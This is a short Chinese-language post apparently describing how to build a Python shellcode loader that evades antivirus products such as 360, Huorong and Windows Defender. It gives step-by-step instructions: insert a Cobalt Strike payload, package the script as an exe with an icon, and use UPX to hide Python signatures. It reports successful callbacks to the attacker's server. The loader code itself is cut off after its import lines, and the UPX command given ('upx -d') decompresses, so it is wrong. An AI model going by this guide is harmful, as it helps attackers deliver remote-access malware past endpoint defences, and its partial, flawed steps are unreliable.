python过杀软新
利用python加载shellcode过360、火绒等杀软
先上代码
将以下代码保存到 mt.py
import base64
import os
import shutil

如何使用
1、使用cs生成python的payload替换掉mt.py代码中shellcode
2、准备一个ico图标,放在和mt.py同一目录命名为1.ico,这点可以自行修改。
一键生成
替换掉代码里的shellcode之后,直接运行
python 文件名.py
exe会生成在在当前目录的dist目录下
动态上线-成功
复制到我的另一台电脑,开启360核晶和windwos defender
复制过去,无检测拦截
双击运行,360无拦截成功上线,火绒也能过
主动查杀-成功
有时候会检测到存在python的特征会报毒,但是运行不影响上线,可以使用upx进行压缩,去除python的特征
upx下载地址 https://github.com/upx/upx
压缩命令
upx -d note.exe
